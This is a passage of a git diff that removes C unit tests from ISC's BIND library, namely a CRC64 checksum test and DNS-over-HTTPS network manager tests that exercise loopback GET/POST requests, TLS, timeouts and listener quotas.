-#if HAVE_CMOCKA
-
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stddef.h>
-#include <stdlib.h>
-#include <string.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/crc64.h>
-#include <isc/print.h>
-#include <isc/result.h>
-#include <isc/util.h>
-
-#define TEST_INPUT(x) (x), sizeof(x) - 1
-
-typedef struct hash_testcase {
-	const char *input;
-	size_t input_len;
-	const char *result;
-	int repeats;
-} hash_testcase_t;
-
-static void
-isc_crc64_init_test(void **state) {
-	uint64_t crc;
-
-	UNUSED(state);
-
-	isc_crc64_init(&crc);
-	assert_int_equal(crc, 0xffffffffffffffffUL);
-}
-
-static void
-_crc64(const char *buf, size_t buflen, const char *result, const int repeats) {
-	uint64_t crc;
-
-	isc_crc64_init(&crc);
-	assert_int_equal(crc, 0xffffffffffffffffUL);
-
-	for (int i = 0; i < repeats; i++) {
-		isc_crc64_update(&crc, buf, buflen);
-	}
-
-	isc_crc64_final(&crc);
-
-	char hex[16 + 1];
-	snprintf(hex, sizeof(hex), "%016" PRIX64, crc);
-
-	assert_memory_equal(hex, result, (result ? strlen(result) : 0));
-}
-
-/* 64-bit cyclic redundancy check */
-static void
-isc_crc64_test(void **state) {
-	UNUSED(state);
-
-	_crc64(TEST_INPUT(""), "0000000000000000", 1);
-	_crc64(TEST_INPUT("a"), "CE73F427ACC0A99A", 1);
-	_crc64(TEST_INPUT("abc"), "048B813AF9F49702", 1);
-	_crc64(TEST_INPUT("message digest"), "5273F9EA7A357BF4", 1);
-	_crc64(TEST_INPUT("abcdefghijklmnopqrstuvwxyz"), "59F079F9218BAAA1", 1);
-	_crc64(TEST_INPUT("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklm"
-			  "nopqrstuvwxyz0123456789"),
-	       "A36DA8F71E78B6FB", 1);
-	_crc64(TEST_INPUT("123456789012345678901234567890123456789"
-			  "01234567890123456789012345678901234567890"),
-	       "81E5EB73C8E7874A", 1);
-}
-
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test(isc_crc64_init_test),
-		cmocka_unit_test(isc_crc64_test),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
diff --git a/lib/isc/tests/doh_test.c b/lib/isc/tests/doh_test.c
deleted file mode 100644
index 75c6539ee4..0000000000
--- a/lib/isc/tests/doh_test.c
+++ /dev/null
@@ -1,2143 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#if HAVE_CMOCKA
-#include <inttypes.h>
-#include <sched.h> /* IWYU pragma: keep */
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stdbool.h>
-#include <stddef.h>
-#include <stdlib.h>
-#include <time.h>
-#include <unistd.h>
-#include <uv.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/atomic.h>
-#include <isc/buffer.h>
-#include <isc/condition.h>
-#include <isc/mutex.h>
-#include <isc/netmgr.h>
-#include <isc/nonce.h>
-#include <isc/os.h>
-#include <isc/print.h>
-#include <isc/refcount.h>
-#include <isc/sockaddr.h>
-#include <isc/thread.h>
-
-#include "uv_wrap.h"
-#define KEEP_BEFORE
-
-#include "../netmgr/http.c"
-#include "../netmgr/netmgr-int.h"
-#include "../netmgr/uv-compat.c"
-#include "../netmgr/uv-compat.h"
-#include "../netmgr_p.h"
-#include "isctest.h"
-
-#define MAX_NM 2
-
-static isc_sockaddr_t tcp_listen_addr;
-
-static uint64_t send_magic = 0;
-static uint64_t stop_magic = 0;
-
-static uv_buf_t send_msg = { .base = (char *)&send_magic,
-			     .len = sizeof(send_magic) };
-
-static atomic_int_fast64_t active_cconnects = ATOMIC_VAR_INIT(0);
-static atomic_int_fast64_t nsends = ATOMIC_VAR_INIT(0);
-static atomic_int_fast64_t ssends = ATOMIC_VAR_INIT(0);
-static atomic_int_fast64_t sreads = ATOMIC_VAR_INIT(0);
-static atomic_int_fast64_t csends = ATOMIC_VAR_INIT(0);
-static atomic_int_fast64_t creads = ATOMIC_VAR_INIT(0);
-static atomic_int_fast64_t ctimeouts = ATOMIC_VAR_INIT(0);
-static atomic_int_fast64_t total_sends = ATOMIC_VAR_INIT(0);
-
-static atomic_bool was_error = ATOMIC_VAR_INIT(false);
-
-static unsigned int workers = 0;
-
-static bool reuse_supported = true;
-static bool noanswer = false;
-
-static atomic_bool POST = ATOMIC_VAR_INIT(true);
-
-static atomic_bool slowdown = ATOMIC_VAR_INIT(false);
-
-static atomic_bool use_TLS = ATOMIC_VAR_INIT(false);
-static isc_tlsctx_t *server_tlsctx = NULL;
-static isc_tlsctx_t *client_tlsctx = NULL;
-
-static isc_quota_t listener_quota;
-static atomic_bool check_listener_quota = ATOMIC_VAR_INIT(false);
-
-/* Timeout for soft-timeout tests (0.05 seconds) */
-#define T_SOFT 50
-
-#define NSENDS	100
-#define NWRITES 10
-
-#define DOH_PATH "/dns-query"
-
-#define CHECK_RANGE_FULL(v)                                    \
-	{                                                      \
-		int __v = atomic_load(&v);                     \
-		assert_true(__v >= atomic_load(&total_sends)); \
-	}
-
-#define CHECK_RANGE_HALF(v)                                        \
-	{                                                          \
-		int __v = atomic_load(&v);                         \
-		assert_true(__v >= atomic_load(&total_sends) / 2); \
-	}
-
-/* Enable this to print values while running tests */
-#undef PRINT_DEBUG
-#ifdef PRINT_DEBUG
-#define X(v) fprintf(stderr, #v " = %" PRIu64 "\n", atomic_load(&v))
-#else
-#define X(v)
-#endif
-
-typedef struct csdata {
-	isc_nm_recv_cb_t reply_cb;
-	void *cb_arg;
-	isc_region_t region;
-} csdata_t;
-
-static void
-connect_send_cb(isc_nmhandle_t *handle, isc_result_t result, void *arg) {
-	csdata_t data;
-
-	REQUIRE(VALID_NMHANDLE(handle));
-
-	(void)atomic_fetch_sub(&active_cconnects, 1);
-	memmove(&data, arg, sizeof(data));
-	isc_mem_put(handle->sock->mgr->mctx, arg, sizeof(data));
-	if (result != ISC_R_SUCCESS) {
-		goto error;
-	}
-
-	result = isc__nm_http_request(handle, &data.region, data.reply_cb,
-				      data.cb_arg);
-	if (result != ISC_R_SUCCESS) {
-		goto error;
-	}
-
-	isc_mem_put(handle->sock->mgr->mctx, data.region.base,
-		    data.region.length);
-	return;
-error:
-	data.reply_cb(handle, result, NULL, data.cb_arg);
-	isc_mem_put(handle->sock->mgr->mctx, data.region.base,
-		    data.region.length);
-	if (result == ISC_R_TOOMANYOPENFILES) {
-		atomic_store(&slowdown, true);
-	} else {
-		atomic_store(&was_error, true);
-	}
-}
-
-static void
-connect_send_request(isc_nm_t *mgr, const char *uri, bool post,
-		     isc_region_t *region, isc_nm_recv_cb_t cb, void *cbarg,
-		     bool tls, unsigned int timeout) {
-	isc_region_t copy;
-	csdata_t *data = NULL;
-	isc_tlsctx_t *ctx = NULL;
-
-	copy = (isc_region_t){ .base = isc_mem_get(mgr->mctx, region->length),
-			       .length = region->length };
-	memmove(copy.base, region->base, region->length);
-	data = isc_mem_get(mgr->mctx, sizeof(*data));
-	*data = (csdata_t){ .reply_cb = cb, .cb_arg = cbarg, .region = copy };
-	if (tls) {
-		ctx = client_tlsctx;
-	}
-
-	isc_nm_httpconnect(mgr, NULL, &tcp_listen_addr, uri, post,
-			   connect_send_cb, data, ctx, timeout, 0);
-}
-
-static int
-setup_ephemeral_port(isc_sockaddr_t *addr, sa_family_t family) {
-	isc_result_t result;
-	socklen_t addrlen = sizeof(*addr);
-	int fd;
-	int r;
-
-	isc_sockaddr_fromin6(addr, &in6addr_loopback, 0);
-
-	fd = socket(AF_INET6, family, 0);
-	if (fd < 0) {
-		perror("setup_ephemeral_port: socket()");
-		return (-1);
-	}
-
-	r = bind(fd, (const struct sockaddr *)&addr->type.sa,
-		 sizeof(addr->type.sin6));
-	if (r != 0) {
-		perror("setup_ephemeral_port: bind()");
-		isc__nm_closesocket(fd);
-		return (r);
-	}
-
-	r = getsockname(fd, (struct sockaddr *)&addr->type.sa, &addrlen);
-	if (r != 0) {
-		perror("setup_ephemeral_port: getsockname()");
-		isc__nm_closesocket(fd);
-		return (r);
-	}
-
-	result = isc__nm_socket_reuse(fd);
-	if (result != ISC_R_SUCCESS && result != ISC_R_NOTIMPLEMENTED) {
-		fprintf(stderr,
-			"setup_ephemeral_port: isc__nm_socket_reuse(): %s",
-			isc_result_totext(result));
-		close(fd);
-		return (-1);
-	}
-
-	result = isc__nm_socket_reuse_lb(fd);
-	if (result != ISC_R_SUCCESS && result != ISC_R_NOTIMPLEMENTED) {
-		fprintf(stderr,
-			"setup_ephemeral_port: isc__nm_socket_reuse_lb(): %s",
-			isc_result_totext(result));
-		close(fd);
-		return (-1);
-	}
-	if (result == ISC_R_NOTIMPLEMENTED) {
-		reuse_supported = false;
-	}
-
-#if IPV6_RECVERR
-#define setsockopt_on(socket, level, name) \
-	setsockopt(socket, level, name, &(int){ 1 }, sizeof(int))
-
-	r = setsockopt_on(fd, IPPROTO_IPV6, IPV6_RECVERR);
-	if (r != 0) {
-		perror("setup_ephemeral_port");
-		close(fd);
-		return (r);
-	}
-#endif
-
-	return (fd);
-}
-
-static int
-_setup(void **state) {
-	char *p = NULL;
-
-	UNUSED(state);
-
-	if (workers == 0) {
-		workers = isc_os_ncpus();
-	}
-	p = getenv("ISC_TASK_WORKERS");
-	if (p != NULL) {
-		workers = atoi(p);
-	}
-	INSIST(workers != 0);
-
-	if (isc_test_begin(NULL, false, workers) != ISC_R_SUCCESS) {
-		return (-1);
-	}
-
-	signal(SIGPIPE, SIG_IGN);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	isc_test_end();
-
-	return (0);
-}
-
-/* Generic */
-
-static void
-noop_read_cb(isc_nmhandle_t *handle, isc_result_t result, isc_region_t *region,
-	     void *cbarg) {
-	UNUSED(handle);
-	UNUSED(result);
-	UNUSED(region);
-	UNUSED(cbarg);
-}
-
-thread_local uint8_t tcp_buffer_storage[4096];
-thread_local size_t tcp_buffer_length = 0;
-
-static int
-nm_setup(void **state) {
-	size_t nworkers = ISC_MAX(ISC_MIN(workers, 32), 1);
-	int tcp_listen_sock = -1;
-	isc_nm_t **nm = NULL;
-
-	tcp_listen_addr = (isc_sockaddr_t){ .length = 0 };
-	tcp_listen_sock = setup_ephemeral_port(&tcp_listen_addr, SOCK_STREAM);
-	if (tcp_listen_sock < 0) {
-		return (-1);
-	}
-	close(tcp_listen_sock);
-	tcp_listen_sock = -1;
-
-	atomic_store(&total_sends, NSENDS * NWRITES);
-	atomic_store(&nsends, atomic_load(&total_sends));
-
-	atomic_store(&csends, 0);
-	atomic_store(&creads, 0);
-	atomic_store(&sreads, 0);
-	atomic_store(&ssends, 0);
-	atomic_store(&ctimeouts, 0);
-	atomic_store(&active_cconnects, 0);
-
-	atomic_store(&was_error, false);
-
-	atomic_store(&POST, false);
-	atomic_store(&use_TLS, false);
-
-	noanswer = false;
-
-	isc_nonce_buf(&send_magic, sizeof(send_magic));
-	isc_nonce_buf(&stop_magic, sizeof(stop_magic));
-	if (send_magic == stop_magic) {
-		return (-1);
-	}
-
-	nm = isc_mem_get(test_mctx, MAX_NM * sizeof(nm[0]));
-	for (size_t i = 0; i < MAX_NM; i++) {
-		isc__netmgr_create(test_mctx, nworkers, &nm[i]);
-		assert_non_null(nm[i]);
-	}
-
-	server_tlsctx = NULL;
-	isc_tlsctx_createserver(NULL, NULL, &server_tlsctx);
-	client_tlsctx = NULL;
-	isc_tlsctx_createclient(&client_tlsctx);
-	isc_tlsctx_enable_http2client_alpn(client_tlsctx);
-
-	isc_quota_init(&listener_quota, 0);
-	atomic_store(&check_listener_quota, false);
-
-	*state = nm;
-
-	return (0);
-}
-
-static int
-nm_teardown(void **state) {
-	isc_nm_t **nm = (isc_nm_t **)*state;
-
-	for (size_t i = 0; i < MAX_NM; i++) {
-		isc__netmgr_destroy(&nm[i]);
-		assert_null(nm[i]);
-	}
-	isc_mem_put(test_mctx, nm, MAX_NM * sizeof(nm[0]));
-
-	if (server_tlsctx != NULL) {
-		isc_tlsctx_free(&server_tlsctx);
-	}
-	if (client_tlsctx != NULL) {
-		isc_tlsctx_free(&client_tlsctx);
-	}
-
-	isc_quota_destroy(&listener_quota);
-
-	return (0);
-}
-
-thread_local size_t nwrites = NWRITES;
-
-static void
-sockaddr_to_url(isc_sockaddr_t *sa, const bool https, char *outbuf,
-		size_t outbuf_len, const char *append) {
-	uint16_t port;
-	char saddr[INET6_ADDRSTRLEN] = { 0 };
-	int family;
-
-	if (sa == NULL || outbuf == NULL || outbuf_len == 0) {
-		return;
-	}
-
-	family = ((struct sockaddr *)&sa->type.sa)->sa_family;
-
-	port = ntohs(family == AF_INET ? sa->type.sin.sin_port
-				       : sa->type.sin6.sin6_port);
-	inet_ntop(family,
-		  family == AF_INET
-			  ? (struct sockaddr *)&sa->type.sin.sin_addr
-			  : (struct sockaddr *)&sa->type.sin6.sin6_addr,
-		  saddr, sizeof(saddr));
-
-	snprintf(outbuf, outbuf_len, "%s://%s%s%s:%u%s",
-		 https ? "https" : "http", family == AF_INET ? "" : "[", saddr,
-		 family == AF_INET ? "" : "]", port, append ? append : "");
-}
-
-static isc_quota_t *
-init_listener_quota(size_t nthreads) {
-	isc_quota_t *quotap = NULL;
-	if (atomic_load(&check_listener_quota)) {
-		unsigned max_quota = ISC_MAX(nthreads / 2, 1);
-		isc_quota_max(&listener_quota, max_quota);
-		quotap = &listener_quota;
-	}
-	return (quotap);
-}
-
-static void
-doh_receive_reply_cb(isc_nmhandle_t *handle, isc_result_t eresult,
-		     isc_region_t *region, void *cbarg) {
-	assert_non_null(handle);
-	UNUSED(cbarg);
-	UNUSED(region);
-
-	if (eresult == ISC_R_SUCCESS) {
-		(void)atomic_fetch_sub(&nsends, 1);
-		atomic_fetch_add(&csends, 1);
-		atomic_fetch_add(&creads, 1);
-		isc_nm_resumeread(handle);
-	} else {
-		/* We failed to connect; try again */
-		atomic_store(&was_error, true);
-	}
-}
-
-static void
-doh_reply_sent_cb(isc_nmhandle_t *handle, isc_result_t eresult, void *cbarg) {
-	UNUSED(eresult);
-	UNUSED(cbarg);
-
-	assert_non_null(handle);
-
-	if (eresult == ISC_R_SUCCESS) {
-		atomic_fetch_add(&ssends, 1);
-	}
-}
-
-static void
-doh_receive_request_cb(isc_nmhandle_t *handle, isc_result_t eresult,
-		       isc_region_t *region, void *cbarg) {
-	uint64_t magic = 0;
-
-	UNUSED(cbarg);
-	assert_non_null(handle);
-
-	if (eresult != ISC_R_SUCCESS) {
-		atomic_store(&was_error, true);
-		return;
-	}
-
-	atomic_fetch_add(&sreads, 1);
-
-	memmove(tcp_buffer_storage + tcp_buffer_length, region->base,
-		region->length);
-	tcp_buffer_length += region->length;
-
-	while (tcp_buffer_length >= sizeof(magic)) {
-		magic = *(uint64_t *)tcp_buffer_storage;
-		assert_true(magic == stop_magic || magic == send_magic);
-
-		tcp_buffer_length -= sizeof(magic);
-		memmove(tcp_buffer_storage, tcp_buffer_storage + sizeof(magic),
-			tcp_buffer_length);
-
-		if (magic == send_magic) {
-			if (!noanswer) {
-				isc_nm_send(handle, region, doh_reply_sent_cb,
-					    NULL);
-			}
-			return;
-		} else if (magic == stop_magic) {
-			/*
-			 * We are done, so we don't send anything back.
-			 * There should be no more packets in the buffer.
-			 */
-			assert_int_equal(tcp_buffer_length, 0);
-		}
-	}
-}
-
-static void
-mock_doh_uv_tcp_bind(void **state) {
-	isc_nm_t **nm = (isc_nm_t **)*state;
-	isc_nm_t *listen_nm = nm[0];
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-
-	WILL_RETURN(uv_tcp_bind, UV_EADDRINUSE);
-
-	result = isc_nm_listenhttp(listen_nm, &tcp_listen_addr, 0, NULL, NULL,
-				   &listen_sock);
-	assert_int_not_equal(result, ISC_R_SUCCESS);
-	assert_null(listen_sock);
-
-	RESET_RETURN;
-}
-
-static void
-doh_noop(void **state) {
-	isc_nm_t **nm = (isc_nm_t **)*state;
-	isc_nm_t *listen_nm = nm[0];
-	isc_nm_t *connect_nm = nm[1];
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-	char req_url[256];
-
-	result = isc_nm_listenhttp(listen_nm, &tcp_listen_addr, 0, NULL, NULL,
-				   &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	result = isc_nm_http_endpoint(listen_sock, DOH_PATH, noop_read_cb, NULL,
-				      0);
-
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-
-	sockaddr_to_url(&tcp_listen_addr, false, req_url, sizeof(req_url),
-			DOH_PATH);
-	connect_send_request(connect_nm, req_url, atomic_load(&POST),
-			     &(isc_region_t){ .base = (uint8_t *)send_msg.base,
-					      .length = send_msg.len },
-			     noop_read_cb, NULL, atomic_load(&use_TLS), 30000);
-
-	isc__netmgr_shutdown(connect_nm);
-
-	assert_int_equal(0, atomic_load(&csends));
-	assert_int_equal(0, atomic_load(&creads));
-	assert_int_equal(0, atomic_load(&sreads));
-	assert_int_equal(0, atomic_load(&ssends));
-}
-
-static void
-doh_noop_POST(void **state) {
-	atomic_store(&POST, true);
-	doh_noop(state);
-}
-
-static void
-doh_noop_GET(void **state) {
-	atomic_store(&POST, false);
-	doh_noop(state);
-}
-
-static void
-doh_noresponse(void **state) {
-	isc_nm_t **nm = (isc_nm_t **)*state;
-	isc_nm_t *listen_nm = nm[0];
-	isc_nm_t *connect_nm = nm[1];
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-	char req_url[256];
-
-	result = isc_nm_listenhttp(listen_nm, &tcp_listen_addr, 0, NULL, NULL,
-				   &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = isc_nm_http_endpoint(listen_sock, DOH_PATH, noop_read_cb, NULL,
-				      0);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	sockaddr_to_url(&tcp_listen_addr, false, req_url, sizeof(req_url),
-			DOH_PATH);
-	connect_send_request(connect_nm, req_url, atomic_load(&POST),
-			     &(isc_region_t){ .base = (uint8_t *)send_msg.base,
-					      .length = send_msg.len },
-			     noop_read_cb, NULL, atomic_load(&use_TLS), 30000);
-
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-	isc__netmgr_shutdown(connect_nm);
-}
-
-static void
-doh_noresponse_POST(void **state) {
-	atomic_store(&POST, true);
-	doh_noresponse(state);
-}
-
-static void
-doh_noresponse_GET(void **state) {
-	atomic_store(&POST, false);
-	doh_noresponse(state);
-}
-
-static void
-timeout_query_sent_cb(isc_nmhandle_t *handle, isc_result_t eresult,
-		      void *cbarg) {
-	UNUSED(eresult);
-	UNUSED(cbarg);
-
-	assert_non_null(handle);
-
-	if (eresult == ISC_R_SUCCESS) {
-		atomic_fetch_add(&csends, 1);
-	}
-
-	isc_nmhandle_detach(&handle);
-}
-
-static void
-timeout_retry_cb(isc_nmhandle_t *handle, isc_result_t eresult,
-		 isc_region_t *region, void *arg) {
-	UNUSED(region);
-	UNUSED(arg);
-
-	assert_non_null(handle);
-
-	atomic_fetch_add(&ctimeouts, 1);
-
-	if (eresult == ISC_R_TIMEDOUT && atomic_load(&ctimeouts) < 5) {
-		isc_nmhandle_settimeout(handle, T_SOFT);
-		return;
-	}
-
-	isc_nmhandle_detach(&handle);
-}
-
-static void
-timeout_request_cb(isc_nmhandle_t *handle, isc_result_t result, void *arg) {
-	isc_nmhandle_t *sendhandle = NULL;
-	isc_nmhandle_t *readhandle = NULL;
-
-	REQUIRE(VALID_NMHANDLE(handle));
-
-	if (result != ISC_R_SUCCESS) {
-		goto error;
-	}
-
-	isc_nmhandle_attach(handle, &sendhandle);
-	isc_nm_send(handle,
-		    &(isc_region_t){ .base = (uint8_t *)send_msg.base,
-				     .length = send_msg.len },
-		    timeout_query_sent_cb, arg);
-
-	isc_nmhandle_attach(handle, &readhandle);
-	isc_nm_read(handle, timeout_retry_cb, NULL);
-	return;
-
-error:
-	atomic_store(&was_error, true);
-}
-
-static void
-doh_timeout_recovery(void **state) {
-	isc_nm_t **nm = (isc_nm_t **)*state;
-	isc_nm_t *listen_nm = nm[0];
-	isc_nm_t *connect_nm = nm[1];
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-	isc_tlsctx_t *ctx = atomic_load(&use_TLS) ? server_tlsctx : NULL;
-	char req_url[256];
-
-	result = isc_nm_listenhttp(listen_nm, &tcp_listen_addr, 0, NULL, NULL,
-				   &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	/*
-	 * Accept connections but don't send responses, forcing client
-	 * reads to time out.
-	 */
-	noanswer = true;
-	result = isc_nm_http_endpoint(listen_sock, DOH_PATH,
-				      doh_receive_request_cb, NULL, 0);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	/*
-	 * Shorten all the TCP client timeouts to 0.05 seconds.
-	 * timeout_retry_cb() will give up after five timeouts.
-	 */
-	isc_nm_settimeouts(connect_nm, T_SOFT, T_SOFT, T_SOFT, T_SOFT);
-	sockaddr_to_url(&tcp_listen_addr, false, req_url, sizeof(req_url),
-			DOH_PATH);
-	isc_nm_httpconnect(connect_nm, NULL, &tcp_listen_addr, req_url,
-			   atomic_load(&POST), timeout_request_cb, NULL, ctx,
-			   T_SOFT, 0);
-
-	/*
-	 * Sleep until sends reaches 5.
-	 */
-	for (size_t i = 0; i < 1000; i++) {
-		if (atomic_load(&ctimeouts) == 5) {
-			break;
-		}
-		isc_test_nap(1000);
-	}
-	assert_true(atomic_load(&ctimeouts) == 5);
-
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-	isc__netmgr_shutdown(connect_nm);
-}
-
-static void
-doh_timeout_recovery_POST(void **state) {
-	atomic_store(&POST, true);
-	doh_timeout_recovery(state);
-}
-
-static void
-doh_timeout_recovery_GET(void **state) {
-	atomic_store(&POST, false);
-	doh_timeout_recovery(state);
-}
-
-static void
-doh_receive_send_reply_cb(isc_nmhandle_t *handle, isc_result_t eresult,
-			  isc_region_t *region, void *cbarg) {
-	isc_nmhandle_t *thandle = NULL;
-	assert_non_null(handle);
-	UNUSED(region);
-
-	isc_nmhandle_attach(handle, &thandle);
-	if (eresult == ISC_R_SUCCESS) {
-		int_fast64_t sends = atomic_fetch_sub(&nsends, 1);
-		atomic_fetch_add(&csends, 1);
-		atomic_fetch_add(&creads, 1);
-		if (sends > 0) {
-			size_t i;
-			for (i = 0; i < NWRITES / 2; i++) {
-				eresult = isc__nm_http_request(
-					handle,
-					&(isc_region_t){
-						.base = (uint8_t *)send_msg.base,
-						.length = send_msg.len },
-					doh_receive_send_reply_cb, cbarg);
-				if (eresult == ISC_R_CANCELED) {
-					break;
-				}
-				assert_true(eresult == ISC_R_SUCCESS);
-			}
-		}
-	} else {
-		atomic_store(&was_error, true);
-	}
-	isc_nmhandle_detach(&thandle);
-}
-
-static isc_threadresult_t
-doh_connect_thread(isc_threadarg_t arg) {
-	isc_nm_t *connect_nm = (isc_nm_t *)arg;
-	char req_url[256];
-	int64_t sends = atomic_load(&nsends);
-
-	sockaddr_to_url(&tcp_listen_addr, atomic_load(&use_TLS), req_url,
-			sizeof(req_url), DOH_PATH);
-
-	while (sends > 0) {
-		/*
-		 * We need to back off and slow down if we start getting
-		 * errors, to prevent a thundering herd problem.
-		 */
-		int_fast64_t active = atomic_fetch_add(&active_cconnects, 1);
-		if (atomic_load(&slowdown) || active > workers) {
-			isc_test_nap(1000 * (active - workers));
-			atomic_store(&slowdown, false);
-		}
-		connect_send_request(
-			connect_nm, req_url, atomic_load(&POST),
-			&(isc_region_t){ .base = (uint8_t *)send_msg.base,
-					 .length = send_msg.len },
-			doh_receive_send_reply_cb, NULL, atomic_load(&use_TLS),
-			30000);
-		sends = atomic_load(&nsends);
-	}
-
-	return ((isc_threadresult_t)0);
-}
-
-static void
-doh_recv_one(void **state) {
-	isc_nm_t **nm = (isc_nm_t **)*state;
-	isc_nm_t *listen_nm = nm[0];
-	isc_nm_t *connect_nm = nm[1];
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-	char req_url[256];
-	isc_quota_t *quotap = init_listener_quota(workers);
-
-	atomic_store(&total_sends, 1);
-
-	atomic_store(&nsends, atomic_load(&total_sends));
-	result = isc_nm_listenhttp(listen_nm, &tcp_listen_addr, 0, quotap,
-				   atomic_load(&use_TLS) ? server_tlsctx : NULL,
-				   &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = isc_nm_http_endpoint(listen_sock, DOH_PATH,
-				      doh_receive_request_cb, NULL, 0);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	sockaddr_to_url(&tcp_listen_addr, atomic_load(&use_TLS), req_url,
-			sizeof(req_url), DOH_PATH);
-	connect_send_request(connect_nm, req_url, atomic_load(&POST),
-			     &(isc_region_t){ .base = (uint8_t *)send_msg.base,
-					      .length = send_msg.len },
-			     doh_receive_reply_cb, NULL, atomic_load(&use_TLS),
-			     30000);
-
-	while (atomic_load(&nsends) > 0) {
-		if (atomic_load(&was_error)) {
-			break;
-		}
-		isc_thread_yield();
-	}
-
-	while (atomic_load(&ssends) != 1 || atomic_load(&sreads) != 1 ||
-	       atomic_load(&csends) != 1)
-	{
-		if (atomic_load(&was_error)) {
-			break;
-		}
-		isc_thread_yield();
-	}
-
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-	isc__netmgr_shutdown(connect_nm);
-
-	X(total_sends);
-	X(csends);
-	X(creads);
-	X(sreads);
-	X(ssends);
-
-	assert_int_equal(atomic_load(&csends), 1);
-	assert_int_equal(atomic_load(&creads), 1);
-	assert_int_equal(atomic_load(&sreads), 1);
-	assert_int_equal(atomic_load(&ssends), 1);
-}
-
-static void
-doh_recv_one_POST(void **state) {
-	atomic_store(&POST, true);
-	doh_recv_one(state);
-}
-
-static void
-doh_recv_one_GET(void **state) {
-	atomic_store(&POST, false);
-	doh_recv_one(state);
-}
-
-static void
-doh_recv_one_POST_TLS(void **state) {
-	atomic_store(&use_TLS, true);
-	atomic_store(&POST, true);
-	doh_recv_one(state);
-}
-
-static void
-doh_recv_one_GET_TLS(void **state) {
-	atomic_store(&use_TLS, true);
-	atomic_store(&POST, false);
-	doh_recv_one(state);
-}
-
-static void
-doh_recv_one_POST_quota(void **state) {
-	atomic_store(&POST, true);
-	atomic_store(&check_listener_quota, true);
-	doh_recv_one(state);
-}
-
-static void
-doh_recv_one_GET_quota(void **state) {
-	atomic_store(&POST, false);
-	atomic_store(&check_listener_quota, true);
-	doh_recv_one(state);
-}
-
-static void
-doh_recv_one_POST_TLS_quota(void **state) {
-	atomic_store(&use_TLS, true);
-	atomic_store(&POST, true);
-	atomic_store(&check_listener_quota, true);
-	doh_recv_one(state);
-}
-
-static void
-doh_recv_one_GET_TLS_quota(void **state) {
-	atomic_store(&use_TLS, true);
-	atomic_store(&POST, false);
-	atomic_store(&check_listener_quota, true);
-	doh_recv_one(state);
-}
-
-static void
-doh_connect_send_two_requests_cb(isc_nmhandle_t *handle, isc_result_t result,
-				 void *arg) {
-	REQUIRE(VALID_NMHANDLE(handle));
-	if (result != ISC_R_SUCCESS) {
-		goto error;
-	}
-
-	result = isc__nm_http_request(
-		handle,
-		&(isc_region_t){ .base = (uint8_t *)send_msg.base,
-				 .length = send_msg.len },
-		doh_receive_reply_cb, arg);
-	if (result != ISC_R_SUCCESS) {
-		goto error;
-	}
-
-	result = isc__nm_http_request(
-		handle,
-		&(isc_region_t){ .base = (uint8_t *)send_msg.base,
-				 .length = send_msg.len },
-		doh_receive_reply_cb, arg);
-	if (result != ISC_R_SUCCESS) {
-		goto error;
-	}
-	return;
-error:
-	atomic_store(&was_error, true);
-}
-
-static void
-doh_recv_two(void **state) {
-	isc_nm_t **nm = (isc_nm_t **)*state;
-	isc_nm_t *listen_nm = nm[0];
-	isc_nm_t *connect_nm = nm[1];
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-	char req_url[256];
-	isc_tlsctx_t *ctx = NULL;
-	isc_quota_t *quotap = init_listener_quota(workers);
-
-	atomic_store(&total_sends, 2);
-
-	atomic_store(&nsends, atomic_load(&total_sends));
-	result = isc_nm_listenhttp(listen_nm, &tcp_listen_addr, 0, quotap,
-				   atomic_load(&use_TLS) ? server_tlsctx : NULL,
-				   &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = isc_nm_http_endpoint(listen_sock, DOH_PATH,
-				      doh_receive_request_cb, NULL, 0);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	sockaddr_to_url(&tcp_listen_addr, atomic_load(&use_TLS), req_url,
-			sizeof(req_url), DOH_PATH);
-
-	if (atomic_load(&use_TLS)) {
-		ctx = client_tlsctx;
-	}
-
-	isc_nm_httpconnect(connect_nm, NULL, &tcp_listen_addr, req_url,
